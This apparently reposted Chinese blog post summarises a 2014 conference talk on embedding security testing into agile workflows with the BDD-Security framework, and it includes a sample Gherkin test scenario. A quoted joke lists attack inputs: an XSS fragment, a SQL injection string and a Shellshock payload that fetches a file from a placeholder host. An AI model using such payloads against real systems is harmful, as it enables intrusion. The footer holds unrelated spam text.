qileilove

          blog已經(jīng)轉(zhuǎn)移至github,大家請(qǐng)?jiān)L問 http://qaseven.github.io/

          在開發(fā)流程中嵌入安全測(cè)試

           ContinuumSecurity創(chuàng)始人Stephen de Vries,在Velocity Europe 2014大會(huì)上提出了持續(xù)且可視化的安全測(cè)試的觀點(diǎn)。Stephen表示,那些在敏捷開發(fā)過程中用于將QA嵌入整個(gè)開發(fā)流程的方法和工具都能同樣的用于安全測(cè)試。BDD-Security是一個(gè)基于JBehave,且遵循Given-When-Then方法的安全測(cè)試框架。
            傳統(tǒng)的安全測(cè)試都遵循瀑布流程,也就是說安全團(tuán)隊(duì)總是在開發(fā)階段的末期才參與進(jìn)來,并且通常需要外部專家的幫助。在整個(gè)開發(fā)流程中,滲透測(cè)試總是被安排到很晚才做,使得為應(yīng)用做安全防范的任務(wù)尤其困難且復(fù)雜。Stephen認(rèn)為安全測(cè)試完全可以變得像QA一樣:每個(gè)人都對(duì)安全問題負(fù)責(zé);安全問題可以在更接近代碼的層面考慮;安全測(cè)試完全可以嵌入一個(gè)持續(xù)集成的開發(fā)過程中。
            為了論證QA和安全測(cè)試只有量的區(qū)別而沒有質(zhì)的區(qū)別,Stephen展示了C. Maartmann-Moe和Bill Sempf分別發(fā)布的推特:
            從QA的角度:
            QA工程師走進(jìn)一家酒吧,點(diǎn)了一杯啤酒;點(diǎn)了0杯啤酒;點(diǎn)了999999999杯啤酒;點(diǎn)了一只蜥蜴;點(diǎn)了-1杯啤酒;點(diǎn)了一個(gè)sfdeljknesv。
            從安全的角度:
            滲透測(cè)試工程師走進(jìn)一家酒吧,點(diǎn)了一杯啤酒;點(diǎn)了”>杯啤酒;點(diǎn)了’or 1=1-杯啤酒;點(diǎn)了() { :; }; wget -O /beers http://evil; /杯啤酒。  要將安全測(cè)試集成進(jìn)敏捷開發(fā)流程中,首先需要滿足的條件是:可見性,以便采取及時(shí)應(yīng)對(duì)措施并修補(bǔ);可測(cè)試性,以便于自動(dòng)化,比僅僅簡(jiǎn)單的掃描更有價(jià)值。Stephen發(fā)現(xiàn)BDD工具族就同時(shí)滿足了可見性及可測(cè)試性,因此他開始著手構(gòu)建BDD-Security安全測(cè)試框架。
            由于BDD-Security是基于JBehave構(gòu)建的,因此它使用BDD的標(biāo)準(zhǔn)說明語言Gherkin。一個(gè)BDD-Security測(cè)試場(chǎng)景如下:
            Scenario: Transmit authentication credentials over HTTPS
            Meta: @id auth_https
            Given the browser is configured to use an intercepting proxy
            And the proxy logs are cleared
            And the default user logs in with credentials from: users.table
            And the HTTP request-response containing the default credentials is inspected
            Then the protocol should be HTTPS
            BDD-Security用戶故事的編寫與通常做法不太一樣。BDD-Security說明頁面上寫著:
            本框架的架構(gòu)設(shè)計(jì)使得安全用例故事與應(yīng)用的特定導(dǎo)航邏輯相互獨(dú)立,這意味著同一個(gè)用戶故事僅需要做微小的改動(dòng)就能用在多個(gè)應(yīng)用中,有時(shí)甚至無需修改。
            這也說明BDD-Security框架認(rèn)為對(duì)許多應(yīng)用來說,有一系列安全需求都是普遍要滿足的。也就是說你只需寫代碼把已有的故事插入你的應(yīng)用——也就是導(dǎo)航邏輯中即可。當(dāng)然,必要的時(shí)候你也完全可以編寫自己的用戶故事。
            BDD-Security依賴于第三方安全測(cè)試工具來執(zhí)行具體的安全相關(guān)的行為,例如應(yīng)用掃描。這些工具有OWASP ZAP或Nessus等。
            Stephen還提到其它一些有類似功能的工具。如Zap-WebDriver就是一款更簡(jiǎn)單的工具,不喜歡BDD方式的人可以考慮采用它。Gauntlt與BDD-Security框架類似,同樣支持BDD,只是它使用的編程語言是Ruby。Mittn用Python編寫并且同樣也使用Gherkin。

          posted on 2015-03-18 22:10 順其自然EVO 閱讀(3316) 評(píng)論(0)  編輯  收藏 所屬分類: 安全性測(cè)試

          <2015年3月>
          22232425262728
          1234567
          891011121314
          15161718192021
          22232425262728
          2930311234

          導(dǎo)航

          統(tǒng)計(jì)

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評(píng)論

          閱讀排行榜

          評(píng)論排行榜

          主站蜘蛛池模板: 长汀县| 综艺| 济南市| 兴安县| 都匀市| 邯郸市| 吴忠市| 砚山县| 上虞市| 巍山| 随州市| 盱眙县| 渝中区| 南通市| 即墨市| 蓝山县| 临高县| 丰宁| 若羌县| 股票| 保亭| 汽车| 屏东县| 鄯善县| 丽江市| 扎囊县| 兴宁市| 宝丰县| 苏尼特右旗| 东阳市| 临沂市| 包头市| 灵台县| 宜城市| 方山县| 洪湖市| 印江| 麦盖提县| 湛江市| 丰都县| 邮箱|